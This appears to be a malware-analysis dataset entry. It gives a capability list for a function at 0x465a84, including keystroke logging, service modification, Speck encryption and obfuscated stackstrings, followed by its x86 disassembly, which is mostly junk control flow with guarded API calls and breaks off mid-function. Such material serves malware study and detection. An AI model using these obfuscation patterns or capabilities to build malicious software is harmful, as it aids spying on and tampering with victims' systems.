Function at 0x465a84
Capabilities:
Accept command line arguments
Check os version
Compare security identifiers
Contain obfuscated stackstrings
Create process on windows
Encrypt data using speck
Get common file path
Get file attributes
Identify system language via api
Log keystrokes
Modify service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ae867
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x348c
call fcn.0049dff0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x8c], 0x801fc3ee
mov dword [ebp - 0x1ca4], 1
push 1
lea ecx, [ebp - 0x2980]
call fcn.0042f3cf
mov dword [ebp - 0x50c], 0
jmp 0x465ae7
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 1
jge 0x465b09
push dword [ebp - 0x50c]
lea ecx, [ebp - 0x2980]
call fcn.0042f4bd
mov dword [eax], 0x83398963
jmp 0x465ada
mov byte [ebp - 0x301], 0
movzx eax, byte [ebp - 0x301]
test eax, eax
je 0x465b2d
push 0
push 0x74f
push 0xca9
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [ebp - 0x8c], 0
je 0x465bc3
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], eax
jl 0x465b54
mov dword [ebp - 0xe34], 1
jmp 0x465b5b
and dword [ebp - 0xe34], 0
cmp dword [ebp - 0xe34], 0x5714ffd8
jne 0x465b73
mov dword [ebp - 0x1c9c], 1
jmp 0x465b7a
and dword [ebp - 0x1c9c], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x1c9c], eax
jg 0x465b94
mov dword [ebp - 0x1cac], 1
jmp 0x465b9b
and dword [ebp - 0x1cac], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x1ca4], eax
mov eax, dword [ebp - 0x1ca4]
neg eax
cmp eax, dword [ebp - 0x1cac]
jne 0x465bc3
mov dword [ebp - 0x1cb4], 1
jmp 0x465bca
and dword [ebp - 0x1cb4], 0
cmp dword [ebp - 0x1cb4], 1
jg 0x465bdf
mov dword [ebp - 0x1cbc], 1
jmp 0x465be6
and dword [ebp - 0x1cbc], 0
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x1cbc]
cmp eax, 0xfffffffd
jg 0x465c03
mov dword [ebp - 0x1cc4], 1
jmp 0x465c0a
and dword [ebp - 0x1cc4], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x1cc4], eax
jge 0x465c24
mov dword [ebp - 0x1ccc], 1
jmp 0x465c2b
and dword [ebp - 0x1ccc], 0
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x1ccc]
cmp eax, dword [ebp - 0x8c]
jl 0x465c4b
mov dword [ebp - 0x1cd4], 1
jmp 0x465c52
and dword [ebp - 0x1cd4], 0
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x1cd4]
imul eax, dword [ebp - 0x8c]
test eax, eax
je 0x465c7f
cmp dword [ebp - 0x8c], 0
je 0x465c7f
mov dword [ebp - 0x1cdc], 1
jmp 0x465c86
and dword [ebp - 0x1cdc], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x1cdc], eax
je 0x465ca0
mov dword [ebp - 0x1ce4], 1
jmp 0x465ca7
and dword [ebp - 0x1ce4], 0
push 0
lea ecx, [ebp - 0x2980]
call fcn.0042f4bd
mov ecx, dword [ebp - 0x1ce4]
mov dword [eax], ecx
lea ecx, [ebp - 0x2980]
call fcn.0042f4a1
mov dword [ebp - 0x1a4], 0xb659d568
mov dword [ebp - 0x1d0c], 0xa8bc07c2
mov dword [ebp - 0x1cf4], 1
mov dword [ebp - 0x908], 0xae2fe817
push 2
lea ecx, [ebp - 0x2998]
call fcn.0042f3cf
push 1
lea ecx, [ebp - 0x2a40]
call fcn.0042f3cf
mov dword [ebp - 0x120], 0
jmp 0x465d22
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 2
jge 0x465d44
push dword [ebp - 0x120]
lea ecx, [ebp - 0x2998]
call fcn.0042f4bd
mov dword [eax], 0x2a3062a4
jmp 0x465d15
mov dword [ebp - 0x120], 0
jmp 0x465d5d
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x465d7f
push dword [ebp - 0x120]
lea ecx, [ebp - 0x2a40]
call fcn.0042f4bd
mov dword [eax], 0x77722aba
jmp 0x465d50
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x3094], eax
mov eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x1a4], eax
jge 0x465da5
mov dword [ebp - 0x1cec], 1
jmp 0x465dac
and dword [ebp - 0x1cec], 0
mov eax, dword [ebp - 0x1d0c]
cmp dword [ebp - 0x1cec], eax
jl 0x465dc6
mov dword [ebp - 0x1ed8], 1
jmp 0x465dcd
and dword [ebp - 0x1ed8], 0
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x302c], eax
mov dword [ebp - 0x1cf4], 0
mov eax, dword [ebp - 0x1cf4]
mov dword [ebp - 0x908], eax
cmp dword [ebp - 0x908], 0
je 0x465e01
cmp dword [ebp - 0x1a4], 0
jne 0x465e13
cmp dword [ebp - 0x908], 0
jne 0x465e13
and dword [ebp - 0x1cfc], 0
jmp 0x465e1d
mov dword [ebp - 0x1cfc], 1
mov eax, dword [ebp - 0x1a4]
imul eax, dword [ebp - 0x1cfc]
imul eax, dword [ebp - 0x1a4]
cmp dword [ebp - 0x1a4], eax
jg 0x465e45
mov dword [ebp - 0x1d04], 1
jmp 0x465e4c
and dword [ebp - 0x1d04], 0
mov eax, dword [ebp - 0x1d04]
sub eax, dword [ebp - 0x1d0c]
mov dword [ebp - 0x1d14], eax
push 1
lea ecx, [ebp - 0x2998]
call fcn.0042f4bd
mov ecx, dword [ebp - 0x1d14]
mov dword [eax], ecx
cmp dword [ebp - 0x1d14], 0
jne 0x465e8e
cmp dword [ebp - 0x1a4], 0
jne 0x465e8e
and dword [ebp - 0x1d1c], 0
jmp 0x465e98
mov dword [ebp - 0x1d1c], 1
push 0
lea ecx, [ebp - 0x2a40]
call fcn.0042f4bd
mov ecx, dword [ebp - 0x1d1c]
mov dword [eax], ecx
mov byte [ebp - 0x246], 0
movzx eax, byte [ebp - 0x246]
test eax, eax
je 0x465ed9
push 0x6d1
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x2a40]
call fcn.0042f4a1
lea ecx, [ebp - 0x2998]
call fcn.0042f4a1
mov dword [ebp - 0x3e4], 0x39b6
mov dword [ebp - 0x35c], 0xb743d837
mov dword [ebp - 0x2d8c], 0xd39c7c6f
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x35c], 0
jmp 0x465f32
mov eax, dword [ebp - 0x35c]
dec eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0xfffffff4
jge 0x466102
mov dword [ebp - 0x364], 0x5751cfd1
mov dword [ebp - 0x3194], 0xc1de6fc6
cmp dword [ebp - 0x35c], 0
je 0x465f61
jmp 0x466102
mov dword [ebp - 0x3e4], 0
jmp 0x465f7a
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0x11
jle 0x4660fd
mov dword [ebp - 0x1dc], 0xca9869ec
mov dword [ebp - 0x500], 0
jmp 0x465faa
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 1
jge 0x465fc6
mov eax, dword [ebp - 0x500]
mov dword [ebp + eax*4 - 0x2d94], 0xbd3aeb59
jmp 0x465f9d
mov dword [ebp - 0x1dc], 0xffffffec
jmp 0x465fdf
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x11
je 0x46602d
mov byte [ebp - 0x248], 0
movzx eax, byte [ebp - 0x248]
test eax, eax
je 0x46601f
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1fa2
push 0x36d
push 0x1730
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x364], eax
jmp 0x465fd2
mov dword [ebp - 0x1dc], 0xd
jmp 0x466046
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x1c
jg 0x4660f8
mov dword [ebp - 0x3034], 0xdf7e4414
mov dword [ebp - 0x2d9c], 0x280643b8
mov dword [ebp - 0x6d4], 0
jmp 0x466080
mov eax, dword [ebp - 0x6d4]
inc eax
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 2
jge 0x46609c
mov eax, dword [ebp - 0x6d4]
mov dword [ebp + eax*4 - 0x32e0], 0xfffffffe
jmp 0x466073
mov dword [ebp - 0x364], 0
jmp 0x4660b5
mov eax, dword [ebp - 0x364]
dec eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0
jl 0x4660f3
mov dword [ebp - 0x1d94], 0xfffffff7
mov eax, dword [ebp - 0x1d94]
inc eax
mov dword [ebp - 0x1d94], eax
mov byte [ebp - 0x24a], 0
movzx eax, byte [ebp - 0x24a]
test eax, eax
je 0x4660f1
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
jmp 0x4660a8
jmp 0x466039
jmp 0x465f6d
jmp 0x465f25
mov dword [ebp - 0x90], 0x801fc3ee
push 1
lea ecx, [ebp - 0x29b0]
call fcn.0042f3cf
mov dword [ebp - 0x90c], 0x3ca
mov dword [ebp - 0x54], 0
jmp 0x466133
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x46614f
push dword [ebp - 0x54]
lea ecx, [ebp - 0x29b0]
call fcn.0042f4bd
mov dword [eax], 0xd5464b5f
jmp 0x46612c
mov dword [ebp - 0x54], 0
jmp 0x46615f
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x466175
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x128], 3
jmp 0x466158
mov dword [ebp - 0x54], 0
jmp 0x466185
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 3
jge 0x46619b
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x31f4], 0xffffffff
jmp 0x46617e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x128], 0
jmp 0x4661c9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x128]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x128], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x128], 0
jg 0x4663a4
mov dword [ebp - 0x1980], 0x4247
mov dword [ebp - 0xba8], 0x3650dfa0
push 3
lea ecx, [ebp - 0x2aa0]
call fcn.0042f3cf
mov dword [ebp - 0x508], 0
jmp 0x466217
mov eax, dword [ebp - 0x508]
inc eax
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 3
jge 0x466239
push dword [ebp - 0x508]
lea ecx, [ebp - 0x2aa0]
call fcn.0042f4bd
mov dword [eax], 0xfffffffc
jmp 0x46620a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x128], 0
jne 0x46625e
cmp dword [ebp - 0x1980], 0
jne 0x46625e
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x30f8], eax
push 0
lea ecx, [ebp - 0x29b0]
call fcn.0042f4bd
mov eax, dword [eax]
sub eax, 0x7f0de65a
cmp eax, 3
jge 0x466285
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x128], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x128], 0
je 0x4662a5
xor eax, eax
je 0x4662a5
mov dword [ebp - 0xba0], 1
jmp 0x4662ac
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x1980]
imul eax, dword [ebp - 0xba0]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x128]
je 0x4662d4
mov dword [ebp - 0x1a4c], 1
jmp 0x4662db
and dword [ebp - 0x1a4c], 0
mov eax, dword [ebp - 0x1a4c]
inc eax
mov dword [ebp - 0xba8], eax
je 0x4662ff
cmp dword [ebp - 0x90c], 0
je 0x4662ff
mov dword [ebp - 0x1a54], 1
jmp 0x466306
and dword [ebp - 0x1a54], 0
cmp dword [ebp - 0x1a54], 2
jl 0x46631b
mov dword [ebp - 0xbb0], 1
jmp 0x466322
and dword [ebp - 0xbb0], 0
mov eax, dword [ebp - 0x90c]
cmp dword [ebp - 0xbb0], eax
jg 0x46633c
mov dword [ebp - 0x1a5c], 1
jmp 0x466343
and dword [ebp - 0x1a5c], 0
cmp dword [ebp - 0x1a5c], 0
jne 0x466358
mov dword [ebp - 0xad4], 1
jmp 0x46635f
and dword [ebp - 0xad4], 0
push 1
lea ecx, [ebp - 0x2aa0]
call fcn.0042f4bd
mov ecx, dword [ebp - 0xad4]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xad4]
sub ecx, dword [ebp + eax - 0x128]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x31f4], ecx
lea ecx, [ebp - 0x2aa0]
call fcn.0042f4a1
jmp 0x4661ae
lea ecx, [ebp - 0x29b0]
call fcn.0042f4a1
mov dword [ebp - 0x1b74], 1
mov dword [ebp - 0xd4], 0xffffffff
mov dword [ebp - 0x510], 0xbf8b243e
mov dword [ebp - 0x838], 0x534fd39e
mov dword [ebp - 0x20f0], 1
mov dword [ebp - 0x20f8], 0x2300b631
mov dword [ebp - 0x6c8], 0
jmp 0x466404
mov eax, dword [ebp - 0x6c8]
inc eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 2
jge 0x466420
mov eax, dword [ebp - 0x6c8]
mov dword [ebp + eax*4 - 0x89c], 0x869b
jmp 0x4663f7
mov dword [ebp - 0xd4], 0
jmp 0x466439
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jne 0x46666a
mov dword [ebp - 0x914], 0xd393
mov dword [ebp - 0x274c], 1
mov dword [ebp - 0x2748], 1
mov dword [ebp - 0x2744], 1
mov dword [ebp - 0x2740], 1
mov dword [ebp - 0x1a7c], 0xc4dd
mov dword [ebp - 0x20e8], 0xca4f0670
mov eax, dword [ebp - 0x914]
sub eax, 0x5542
mov dword [ebp - 0x20d8], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x20e0], eax
mov eax, dword [ebp - 0x914]
dec eax
mov dword [ebp - 0x914], eax
mov eax, dword [ebp - 0x20d8]
cmp eax, dword [ebp - 0x20e0]
je 0x4664d0
mov dword [ebp - 0xbb8], 1
jmp 0x4664d7
and dword [ebp - 0xbb8], 0
imul eax, dword [ebp - 0xbb8], 0xfff7
cmp eax, 1
jne 0x4664f2
mov dword [ebp - 0x1a64], 1
jmp 0x4664f9
and dword [ebp - 0x1a64], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x1a64], eax
jl 0x466513
mov dword [ebp - 0xbc0], 1
jmp 0x46651a
and dword [ebp - 0xbc0], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0xbc0]
test eax, eax
je 0x466540
cmp dword [ebp - 0xd4], 0
je 0x466540
mov dword [ebp - 0x1a6c], 1
jmp 0x466547
and dword [ebp - 0x1a6c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x274c]
cmp dword [ebp - 0x1a6c], eax
jne 0x466568
mov dword [ebp - 0xbc8], 1
jmp 0x46656f
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0x1a7c]
cmp dword [ebp - 0xbc8], eax
jle 0x466589
mov dword [ebp - 0x1a74], 1
jmp 0x466590
and dword [ebp - 0x1a74], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x89c]
cmp dword [ebp - 0x1a74], eax
jle 0x4665b1
mov dword [ebp - 0xbd0], 1
jmp 0x4665b8
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xd4]
cmp eax, dword [ebp - 0xbd0]
jne 0x4665d2
mov dword [ebp - 0xa44], 1
jmp 0x4665d9
and dword [ebp - 0xa44], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa44]
mov dword [ebp + eax - 0x274c], ecx
mov eax, dword [ebp - 0x1a7c]
cmp dword [ebp - 0xa44], eax
jg 0x466605
mov dword [ebp - 0xbd8], 1
jmp 0x46660c
and dword [ebp - 0xbd8], 0
cmp dword [ebp - 0xbd8], 0xfffffff6
jbe 0x466621
mov dword [ebp - 0x1a84], 1
jmp 0x466628
and dword [ebp - 0x1a84], 0
mov eax, dword [ebp - 0x1a84]
mov dword [ebp - 0x510], eax
mov eax, dword [ebp - 0x510]
add eax, 0x21fac6d1
cmp eax, 0xbc69
jl 0x466652
mov dword [ebp - 0xbe0], 1
jmp 0x466659
and dword [ebp - 0xbe0], 0
mov eax, dword [ebp - 0xbe0]
mov dword [ebp - 0x20e8], eax
jmp 0x46642c
mov dword [ebp - 0x510], 0xd050b7f4
cmp dword [ebp - 0x510], 0xfffffff7
je 0x466689
mov dword [ebp - 0xbe8], 1
jmp 0x466690
and dword [ebp - 0xbe8], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x89c]
cmp dword [ebp + eax - 0x89c], ecx
jg 0x4666be
cmp dword [ebp - 0x838], 0
jne 0x4666be
and dword [ebp - 0x1a8c], 0
jmp 0x4666c8
mov dword [ebp - 0x1a8c], 1
mov eax, dword [ebp - 0x838]
cmp dword [ebp - 0x1a8c], eax
jne 0x4666e2
mov dword [ebp - 0x1a94], 1
jmp 0x4666e9
and dword [ebp - 0x1a94], 0
mov eax, dword [ebp - 0xbe8]
cmp eax, dword [ebp - 0x1a94]
je 0x466703
mov dword [ebp - 0xbf0], 1
jmp 0x46670a
and dword [ebp - 0xbf0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x89c]
cmp dword [ebp - 0xbf0], eax
jge 0x46672b
mov dword [ebp - 0x1a9c], 1
jmp 0x466732
and dword [ebp - 0x1a9c], 0
mov eax, dword [ebp - 0x838]
imul eax, dword [ebp - 0x1a9c]
mov dword [ebp - 0x838], eax
mov eax, dword [ebp - 0xd4]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x89c]
mov edx, dword [ebp - 0xd4]
push 4
pop esi
shl esi, 0
add edx, dword [ebp + esi - 0x89c]
imul ecx, edx
imul eax, ecx
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x89c]
jl 0x46678c
mov dword [ebp - 0xbf8], 1
jmp 0x466793
and dword [ebp - 0xbf8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x89c]
cmp dword [ebp - 0xbf8], eax
je 0x4667bd
cmp dword [ebp - 0x20f0], 0
je 0x4667bd
mov dword [ebp - 0x1aa4], 1
jmp 0x4667c4
and dword [ebp - 0x1aa4], 0
mov eax, dword [ebp - 0x1aa4]
mov dword [ebp - 0x20f8], eax
push 1
lea ecx, [ebp - 0x2974]
call fcn.0042f3cf
push 1
lea ecx, [ebp - 0x29c8]
call fcn.0042f3cf
mov dword [ebp - 0x91c], 0x3ca
mov dword [ebp - 0x4c], 0
jmp 0x466804
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x466820
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x29c8]
call fcn.0042f4bd
mov dword [eax], 0xd5464b5f
jmp 0x4667fd
mov dword [ebp - 0x4c], 0
jmp 0x466830
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x466846
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x110], 3
jmp 0x466829
mov dword [ebp - 0x4c], 0
jmp 0x466856
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jge 0x46686c
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x3248], 0xffffffff
jmp 0x46684f
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x110], 0
jmp 0x46689a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x110]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x110], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x110], 0
jg 0x466a75
mov dword [ebp - 0xc00], 0x4247
mov dword [ebp - 0x1ab4], 0x3650dfa0
push 3
lea ecx, [ebp - 0x2a58]
call fcn.0042f3cf
mov dword [ebp - 0x518], 0
jmp 0x4668e8
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 3
jge 0x46690a
push dword [ebp - 0x518]
lea ecx, [ebp - 0x2a58]
call fcn.0042f4bd
mov dword [eax], 0xfffffffc
jmp 0x4668db
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x110], 0
jne 0x46692f
cmp dword [ebp - 0xc00], 0
jne 0x46692f
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0x2da4], eax
push 0
lea ecx, [ebp - 0x29c8]
call fcn.0042f4bd
mov eax, dword [eax]
sub eax, 0x7f0de65a
cmp eax, 3
jge 0x466956
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x110], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x110], 0
je 0x466976
xor eax, eax
je 0x466976
mov dword [ebp - 0x1aac], 1
jmp 0x46697d
and dword [ebp - 0x1aac], 0
mov eax, dword [ebp - 0xc00]
imul eax, dword [ebp - 0x1aac]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x110]
je 0x4669a5
mov dword [ebp - 0xc08], 1
jmp 0x4669ac
and dword [ebp - 0xc08], 0
mov eax, dword [ebp - 0xc08]
inc eax
mov dword [ebp - 0x1ab4], eax
je 0x4669d0
cmp dword [ebp - 0x91c], 0
je 0x4669d0
mov dword [ebp - 0xc10], 1
jmp 0x4669d7
and dword [ebp - 0xc10], 0
cmp dword [ebp - 0xc10], 2
jl 0x4669ec
mov dword [ebp - 0x1abc], 1
jmp 0x4669f3
and dword [ebp - 0x1abc], 0
mov eax, dword [ebp - 0x91c]
cmp dword [ebp - 0x1abc], eax
jg 0x466a0d
mov dword [ebp - 0xc18], 1
jmp 0x466a14
and dword [ebp - 0xc18], 0
cmp dword [ebp - 0xc18], 0
jne 0x466a29
mov dword [ebp - 0xb60], 1
jmp 0x466a30
and dword [ebp - 0xb60], 0
push 1
lea ecx, [ebp - 0x2a58]
call fcn.0042f4bd
mov ecx, dword [ebp - 0xb60]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb60]
sub ecx, dword [ebp + eax - 0x110]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3248], ecx
lea ecx, [ebp - 0x2a58]
call fcn.0042f4a1
jmp 0x46687f
lea ecx, [ebp - 0x29c8]
call fcn.0042f4a1
mov dword [ebp - 0x6d0], 0
jmp 0x466a99
mov eax, dword [ebp - 0x6d0]
inc eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 1
jge 0x466abb
push dword [ebp - 0x6d0]
lea ecx, [ebp - 0x2974]
call fcn.0042f4bd
mov dword [eax], 0x83398963
jmp 0x466a8c
mov dword [ebp - 0x18], 1
mov dword [ebp - 0xb94], 0x493e623b
mov dword [ebp - 0xb90], 0x493e623b
mov dword [ebp - 0xb8c], 0x493e623b
mov dword [ebp - 0xb88], 0x493e623b
mov dword [ebp - 0xa8], 0xa99da972
mov dword [ebp - 0x1afc], 8
mov dword [ebp - 0x520], 0
jmp 0x466b17
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 1
jge 0x466b33
mov eax, dword [ebp - 0x520]
mov dword [ebp + eax*4 - 0x100], 0x648261f
jmp 0x466b0a
mov dword [ebp - 0x18], 0
jmp 0x466b43
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x466d04
mov dword [ebp - 0x232c], 0xfffffffb
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ebp + ecx*4 - 0x100]
cmp dword [ebp + eax*4 - 0x100], ecx
jg 0x466ce9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x100]
mov dword [ebp - 0x303c], eax
cmp dword [ebp - 0x18], 0
jne 0x466b96
cmp dword [ebp - 0x18], 0
jne 0x466b96
and dword [ebp - 0x1ac4], 0
jmp 0x466ba0
mov dword [ebp - 0x1ac4], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x100]
add eax, dword [ebp - 0x1ac4]
cmp eax, 0x2466
jl 0x466bc3
mov dword [ebp - 0xc20], 1
jmp 0x466bca
and dword [ebp - 0xc20], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
cmp dword [ebp - 0xc20], eax
jl 0x466beb
mov dword [ebp - 0x924], 1
jmp 0x466bf2
and dword [ebp - 0x924], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x924]
mov dword [ebp + eax - 0xb94], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
cmp dword [ebp - 0x924], eax
jle 0x466c26
mov dword [ebp - 0x1acc], 1
jmp 0x466c2d
and dword [ebp - 0x1acc], 0
cmp dword [ebp - 0x1acc], 0x1cb6
jg 0x466c48
cmp dword [ebp - 0x18], 0
jne 0x466c48
and dword [ebp - 0xc28], 0
jmp 0x466c52
mov dword [ebp - 0xc28], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x100]
cmp dword [ebp - 0xc28], eax
jle 0x466c70
mov dword [ebp - 0x1ad4], 1
jmp 0x466c77
and dword [ebp - 0x1ad4], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x100]
cmp eax, dword [ebp - 0x1ad4]
jl 0x466c95
mov dword [ebp - 0xc30], 1
jmp 0x466c9c
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x100]
cmp dword [ebp - 0xc30], eax
jl 0x466cba
mov dword [ebp - 0x2100], 1
jmp 0x466cc1
and dword [ebp - 0x2100], 0
mov eax, dword [ebp - 0x232c]
mov dword [ebp - 0x2dac], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xb94], 0
je 0x466ce9
mov dword [ebp - 0x1adc], 1
jmp 0x466cf0
and dword [ebp - 0x1adc], 0
mov eax, dword [ebp - 0x1adc]
sub eax, 8
mov dword [ebp - 0xa8], eax
jmp 0x466b3c
mov dword [ebp - 0x18], 3
jmp 0x466d14
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x467052
mov dword [ebp - 0x2334], 0xfea1e173
mov dword [ebp - 0x3bc], 0x3164c116
mov dword [ebp - 0x234c], 1
mov dword [ebp - 0xa8], 0
jmp 0x466d55
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jg 0x466d80
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb94], 0x90f3bd79
mov eax, dword [ebp - 0xa8]
cmp dword [ebp + eax*4 - 0x100], 0
je 0x466d7e
jmp 0x466d48
jmp 0x466d48
mov dword [ebp - 0xa8], 0
jmp 0x466d99
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jg 0x46704d
mov dword [ebp - 0x1e8], 0xc116e074
mov dword [ebp - 0x4a0], 0x127a4ef2
mov dword [ebp - 0x1e8], 3
jmp 0x466dd3
mov eax, dword [ebp - 0x1e8]
dec eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0
jl 0x467048
mov dword [ebp - 0x36c], 0xba2c160e
mov dword [ebp - 0x3bc], 0
cmp dword [ebp - 0x3bc], 0
je 0x46700d
mov dword [ebp - 0x1b04], 0xebeaaf72
mov dword [ebp - 0x2344], 0xf7a37477
mov dword [ebp - 0x36c], 0
jmp 0x466e2e
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 3
jg 0x46700b
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp + eax*4 - 0xb94]
mov dword [ebp - 0x3158], eax
mov eax, dword [ebp - 0x1e8]
mov eax, dword [ebp + eax*4 - 0xb94]
mov ecx, dword [ebp - 0x1e8]
imul eax, dword [ebp + ecx*4 - 0xb94]
test eax, eax
